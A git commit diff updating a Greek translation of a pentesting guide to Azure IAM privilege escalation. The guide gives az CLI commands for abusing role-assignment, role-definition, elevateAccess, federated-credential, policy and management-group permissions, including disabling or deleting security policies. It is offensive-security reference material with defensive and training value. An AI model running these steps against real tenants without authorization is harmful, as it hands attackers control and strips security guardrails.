Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2025-11-28 09:48:28 +00:00
parent e7ce3ee3bc
commit 8280a5b31f
@@ -4,7 +4,7 @@
## Azure IAM
Για περισσότερες πληροφορίες ελέγξτε:
Για περισσότερες πληροφορίες δείτε:
{{#ref}}
../az-services/az-azuread.md
@@ -12,16 +12,16 @@
### Microsoft.Authorization/roleAssignments/write
Αυτή η άδεια επιτρέπει την ανάθεση ρόλων σε κύριους σε μια συγκεκριμένη έκταση, επιτρέποντας σε έναν επιτιθέμενο να κλιμακώσει τα προνόμια αναθέτοντας στον εαυτό του έναν πιο προνομιακό ρόλο:
Αυτή η άδεια επιτρέπει την ανάθεση roles σε principals σε ένα συγκεκριμένο scope, επιτρέποντας σε έναν attacker να κλιμακώσει τα privileges του αναθέτοντας στον εαυτό του έναν πιο privileged role:
```bash
# Example
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
```
### Microsoft.Authorization/roleDefinitions/Write
Αυτή η άδεια επιτρέπει την τροποποίηση των αδειών που χορηγούνται από έναν ρόλο, επιτρέποντας σε έναν επιτιθέμενο να κλιμακώσει τα προνόμια χορηγώντας περισσότερες άδειες σε έναν ρόλο που έχει αναθέσει.
Αυτό το δικαίωμα επιτρέπει την τροποποίηση των δικαιωμάτων που παρέχονται από έναν ρόλο, επιτρέποντας σε έναν attacker να κλιμακώσει τα προνόμια χορηγώντας περισσότερα δικαιώματα σε έναν ρόλο που έχει αναθέσει.
Δημιουργήστε το αρχείο `role.json` με το εξής **περιεχόμενο**:
Δημιουργήστε το αρχείο `role.json` με το ακόλουθο **περιεχόμενο**:
```json
{
"roleName": "<name of the role>",
@@ -36,16 +36,16 @@ az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e55
"id": "/subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<role-id>",
}
```
Στη συνέχεια, ενημερώστε τις άδειες ρόλου με τον προηγούμενο ορισμό καλώντας:
Στη συνέχεια ενημερώστε τα δικαιώματα του ρόλου με τον προηγούμενο ορισμό καλώντας:
```bash
az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action
Αυτή η άδεια επιτρέπει την αναβάθμιση δικαιωμάτων και τη δυνατότητα ανάθεσης αδειών σε οποιονδήποτε κύριο για πόρους Azure. Προορίζεται να δοθεί στους Παγκόσμιους Διαχειριστές Entra ID ώστε να μπορούν επίσης να διαχειρίζονται άδειες για πόρους Azure.
Αυτή η άδεια επιτρέπει την ανύψωση προνομίων και τη δυνατότητα ανάθεσης δικαιωμάτων σε οποιοδήποτε principal για Azure resources. Προορίζεται να δοθεί σε Entra ID Global Administrators ώστε να μπορούν επίσης να διαχειρίζονται δικαιώματα για Azure resources.
> [!TIP]
> Νομίζω ότι ο χρήστης πρέπει να είναι Παγκόσμιος Διαχειριστής στο Entra ID για να λειτουργήσει η κλήση αναβάθμισης.
> Νομίζω ότι ο χρήστης πρέπει να είναι Global Administrator στο Entra ID για να λειτουργήσει η elevate κλήση.
```bash
# Call elevate
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
@@ -55,9 +55,9 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Αυτή η άδεια επιτρέπει την προσθήκη Ομοσπονδιακών διαπιστευτηρίων σε διαχειριζόμενες ταυτότητες. Π.χ. δίνει πρόσβαση σε Github Actions σε ένα repo σε μια διαχειριζόμενη ταυτότητα. Στη συνέχεια, επιτρέπει να **έχει πρόσβαση σε οποιαδήποτε διαχειριζόμενη ταυτότητα που έχει οριστεί από τον χρήστη**.
Αυτή η άδεια επιτρέπει την προσθήκη Federated credentials σε managed identities. Π.χ. να δοθεί σε μια managed identity πρόσβαση για Github Actions σε ένα repo. Στη συνέχεια, επιτρέπει την **πρόσβαση σε οποιαδήποτε managed identity που έχει οριστεί από χρήστη**.
Παράδειγμα εντολής για να δώσετε πρόσβαση σε ένα repo στο Github σε μια διαχειριζόμενη ταυτότητα:
Παράδειγμα εντολής για να δοθεί πρόσβαση σε ένα repo στο Github σε μια managed identity:
```bash
# Generic example:
az rest --method PUT \
@@ -71,4 +71,94 @@ az rest --method PUT \
--headers "Content-Type=application/json" \
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
```
### Microsoft.Authorization/policyAssignments/write | Microsoft.Authorization/policyAssignments/delete
Ένας επιτιθέμενος με την άδεια `Microsoft.Authorization/policyAssignments/write` ή `Microsoft.Authorization/policyAssignments/delete` σε ένα management group, subscription ή resource group μπορεί να **τροποποιήσει ή διαγράψει τα Azure policy assignments**, ενδεχομένως **απενεργοποιώντας περιορισμούς ασφαλείας** που μπλοκάρουν συγκεκριμένες ενέργειες.
Αυτό επιτρέπει πρόσβαση σε πόρους ή λειτουργίες που προηγουμένως προστατεύονταν από την πολιτική.
**Διαγραφή μιας ανάθεσης πολιτικής:**
```bash
az policy assignment delete \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
**Απενεργοποίηση ανάθεσης πολιτικής:**
```bash
az policy assignment update \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>" \
--enforcement-mode Disabled
```
**Επιβεβαιώστε τις αλλαγές:**
```bash
# List policy assignments
az policy assignment list \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
# Show specific policy assignment details
az policy assignment show \
--name "<policyAssignmentName>" \
--scope "/providers/Microsoft.Management/managementGroups/<managementGroupId>"
```
### Microsoft.Authorization/policyDefinitions/write
Ένας επιτιθέμενος με την άδεια `Microsoft.Authorization/policyDefinitions/write` μπορεί να **τροποποιήσει τις Azure policy definitions**, αλλάζοντας τους κανόνες που ελέγχουν τους περιορισμούς ασφαλείας σε όλο το περιβάλλον.
Για παράδειγμα, μια policy που περιορίζει τις επιτρεπόμενες περιοχές για τη δημιουργία resources μπορεί να τροποποιηθεί ώστε να επιτρέπει οποιαδήποτε περιοχή, ή το policy effect μπορεί να αλλάξει ώστε να καταστεί αναποτελεσματικό.
**Τροποποίηση ενός policy definition:**
```bash
az policy definition update \
--name "<policyDefinitionName>" \
--rules @updated-policy-rules.json
```
**Επαληθεύστε τις αλλαγές:**
```bash
az policy definition list --output table
az policy definition show --name "<policyDefinitionName>"
```
### Microsoft.Management/managementGroups/write
Ένας επιτιθέμενος με το δικαίωμα `Microsoft.Management/managementGroups/write` μπορεί να **τροποποιήσει την ιεραρχική δομή των ομάδων διαχείρισης** ή να **δημιουργήσει νέες ομάδες διαχείρισης**, ενδεχομένως παρακάμπτοντας περιοριστικές πολιτικές που εφαρμόζονται σε ανώτερα επίπεδα.
Για παράδειγμα, ένας επιτιθέμενος μπορεί να δημιουργήσει μια νέα ομάδα διαχείρισης χωρίς περιοριστικές πολιτικές και στη συνέχεια να μετακινήσει σε αυτήν συνδρομές.
**Δημιουργία νέας ομάδας διαχείρισης:**
```bash
az account management-group create \
--name "yourMGname" \
--display-name "yourMGDisplayName"
```
**Τροποποιήστε μια ιεραρχία ομάδας διαχείρισης:**
```bash
az account management-group update \
--name "<managementGroupId>" \
--parent "/providers/Microsoft.Management/managementGroups/<parentGroupId>"
```
**Επιβεβαιώστε τις αλλαγές:**
```bash
az account management-group list --output table
az account management-group show \
--name "<managementGroupId>" \
--expand
```
### Microsoft.Management/managementGroups/subscriptions/write
Ένας επιτιθέμενος με την άδεια `Microsoft.Management/managementGroups/subscriptions/write` μπορεί να **μετακινήσει subscriptions μεταξύ management groups**, ενδεχομένως **να παρακάμψει περιοριστικές πολιτικές** μετακινώντας μια subscription σε μια ομάδα με λιγότερο περιοριστικές ή χωρίς πολιτικές.
**Μετακίνηση μιας subscription σε διαφορετικό management group:**
```bash
az account management-group subscription add \
--name "<managementGroupName>" \
--subscription "<subscriptionId>"
```
**Επιβεβαιώστε τις αλλαγές:**
```bash
az account management-group subscription show \
--name "<managementGroupId>" \
--subscription "<subscriptionId>"
```
{{#include ../../../banners/hacktricks-training.md}}